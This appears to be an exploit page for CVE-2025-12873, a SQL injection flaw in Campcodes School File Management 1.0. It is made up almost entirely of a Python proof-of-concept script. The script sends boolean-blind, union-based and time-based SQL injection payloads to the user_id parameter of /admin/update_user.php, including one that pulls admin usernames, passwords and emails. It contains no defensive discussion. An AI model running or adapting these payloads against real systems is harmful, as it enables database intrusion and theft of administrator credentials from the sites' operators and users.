CVE-2025-12873 Campcodes School File Management 1.0 SQL注入漏洞

# CVE-2025-12873 SQL Injection PoC # Target: Campcodes School File Management 1.0 # Endpoint: /admin/update_user.php # Parameter: user_id import requests import sys target_url = "http://target-site.com/admin/update_user.php" # SQL Injection Payload Examples: payloads = [ # Basic Boolean-based Blind SQLi "1' AND 1=1 -- ", "1' AND 1=2 -- ", # Union-based SQLi for data extraction "1' UNION SELECT NULL,NULL,NULL,NULL,NULL -- ", "1' UNION SELECT 1,2,3,version(),database() -- ", # Time-based Blind SQLi "1' AND SLEEP(5) -- ", # Extract admin credentials "1' UNION SELECT username,password,email FROM admin_users -- " ] def test_sqli(payload): params = { 'user_id': payload } try: response = requests.post(target_url, data=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" if __name__ == "__main__": print("[*] CVE-2025-12873 SQL Injection Test") print(f"[*] Target: {target_url}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = test_sqli(payload) print(f"[+] Response length: {len(result)}")